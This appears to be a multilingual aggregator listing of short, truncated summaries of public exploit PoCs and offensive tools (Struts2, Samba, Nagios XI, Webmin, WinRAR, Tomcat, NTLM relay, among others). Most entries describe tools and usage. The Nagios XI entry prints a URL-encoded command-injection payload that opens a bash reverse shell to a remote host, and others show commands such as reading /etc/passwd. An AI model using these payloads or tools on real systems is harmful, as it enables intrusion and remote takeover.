CVE-2020-11651-poc

PoC-эксплойт для CVE-2020-11651 и CVE-2020-11652 Это proof of concept эксплойт, основанный на изначальном проверочном скрипте. Используйте его для проверки, что вы успешно обновили ваши Salt master серверы до релиза, содержащего необходимые исправления. Спасибо F-Secure Labs за их исследование и...

CVE-2016-4438

ref: https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037PoC.py https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037CmdToolExP.py...

CVE-2007-2447

Эксплойт Samba CVE-2007-2447 Автономная реализация эксплойта CVE-2007-2447 на Rust, нацеленного на Samba smbd 3.0.20-Debian. Описание уязвимости CVE-2007-2447 — это уязвимость внедрения команд в версиях Samba с 3.0.0 по 3.0.25rc3. Уязвимость существует в функции SamrChangePassword, которая не...

evilrdp

🚩 Sponsors Si vous aimez ce projet, envisagez de le sponsoriser sur GitHub ! Sponsors EVILRDP - Plus de contrôle sur RDP Le jumeau maléfique de aardwolfgui utilisant la bibliothèque client RDP aardwolf qui vous donne un contrôle étendu sur la cible et des capacités de script supplémentaires depui...

CVE-2019-20197

CVE-2019-20197 Nagios XI リモートコマンド実行の脆弱性 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

CVE-2019-15642

CVE-2019-15642 Webmin удаленное выполнение кода с аутентификацией Использование python: python CVE-2019-15642.py https://xxx.xxx.xxx:10000 "cat /etc/passwd" 0x01 docker для Webmin cd /vulhub/webmin/CVE-2019-15107 docker-compose up -d root@9460493fa985:/ passwd root Webmin username=root,password=r...

winrar-cve-2023-38831-poc-gen

Генератор эксплойта CVE-2023-38831 Этот инструмент представляет собой Python-скрипт, который использует уязвимость в формате RAR-файлов CVE-2023-38831 для выполнения вредоносной команды при открытии пользователем файла-приманки. Эксплойт работает на версиях WinRAR до 6.23. Например, 6.22, 6.21,...

Shitrix-CVE-2019-19781

Shitrix-CVE-2019-19781 我对利用Shitrix的工作方法 更新于2020年7月21日 - 现在支持多词命令和正斜杠 你需要 curl = 7.42.0 调用方式，例如： ./shitrix.sh target port ls -al...

Sharp-SMBExec

Sharp-SMBExec Нативная конвертация на C скрипта Invoke-SMBExec PowerShell Кевина Робертсона. https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1 Собрано для .NET 3.5 Использование Sharp-SMBExec.exe hash:"hash" username:"username" domain:"domain.tld"...

ntlm_relay_gat

NTLM Relay Gat 설명 NTLM Relay Gat은 Impacket 도구 모음에서 ntlmrelayx.py를 사용하여 NTLM 릴레이 공격을 자동화하도록 설계된 강력한 도구입니다. ntlmrelayx.py의 기능을 활용하여 NTLM 릴레이 취약점 악용 과정을 간소화하며, SMB 공유 나열부터 MSSQL 데이터베이스에서 명령 실행에 이르기까지 다양한 기능을 제공합니다. 기능 멀티스레딩 지원 : 여러 스레드를 사용하여 동시에 작업을 수행합니다. SMB 공유 열거 : 사용 가능한 SMB 공유를 나열합니다. SMB 셸 실행 ...

CVE-2021-31805

CVE-2021-31805 1. Введение POC и EXP для уязвимости удалённого выполнения команд в Struts2 CVE-2020-17530 и CVE-2021-31805 2. Использование Описание параметров root@kitploit: -u 目标url -m dnslog|exp //默认有回显界面字符检查 -n s2-062 //默认s2-061 -s windows //默认linux -p 漏洞参数 Проверка с выводом результата...

CVE-2021-25646

Apache Druid - Exécution de code à distance CVE-2021-25646 par j2ekim Utilisation root@kitploit: python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" Article de reproduction de la vulnérabilité https://www.adminxe.com/2109.html...

GitLab-CVE-2021-22205-

취약점 영향 GitLab CE/EE 11.9부터 모든 버전에 영향을 주는 문제가 발견되었습니다. GitLab이 파일 파서에 전달된 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 영향을 받는 버전 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 취약점 영향 곧... 참고 https://github.com/mr-r3bot/Gitlab-CVE-2021-22205...

CVE-2024-9264

CVE-2024-9264 root@kitploit: python CVE-2024-9264.py '' -u '' -p '' -c ''...

CVE-2025-48703

CVE-2025-48703 CVE-2025-48703 est une vulnérabilité de gravité critique dans CentOS Web Panel CWP permettant à un attaquant non authentifié unauthenticated d'exécuter du code à distance RCE via un contournement de l'authentification et l'exécution de commandes système. Cette vulnérabilité affecte...

smbmap

SMBMap SMBMap позволяет пользователям перечислять диски общих ресурсов Samba по всему домену. Перечисление дисков, разрешений на диски, содержимого общих ресурсов, функции загрузки и скачивания, автоматический поиск файлов по шаблону имени, а также выполнение удаленных команд. Этот инструмент...

CVE-2021-31762

CSRF-to-RCE ..| CVE-2021-31762 |.. Description : Exploitation d'une attaque de falsification de requête intersite CSRF pour créer un utilisateur privilégié via la fonctionnalité d'ajout d'utilisateurs de Webmin, puis obtenir un shell inversé via la fonctionnalité de processus en cours d'exécution...

CVE-2025-24813-PoC-exploit

CVE-2025-24813-PoC-exploit Apache Tomcat Désérialisation RCE root@kitploit: ❯ python3 exploit.py http://localhost:8080/ "id" ============================================================ CVE-2025-24813 - Apache Tomcat Partial PUT RCE ============================================================...

CVE-2024-29375

CSV-Injection-PoC Addactis IBNRS 3.10.3.107 における CSV インジェクション AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:L CVSS: 7.1, 影響スコア: 5.3, 悪用スコア: 1.3 影響を受けるコンポーネント: Project Description、Identifiers、Custom Triangle Name Input Triangles 内、および Yield Curve Name パラメータ スクリーンショット 1: メモ帳を開くために、Excelの数式をプロジェクト説明として注入する...

CVE-2023-27997-POC

사용법: python3 cve-2022-42475.py rhost rport lhost 'command' 예시: python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /' 면책 조항: 이 프로젝트는 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 불법입니다. 개발자는 이 도구로 인한 오용이나 피해에 대해 책임을 지지 않으며 어떠한 책임도 부담하지 않습니다...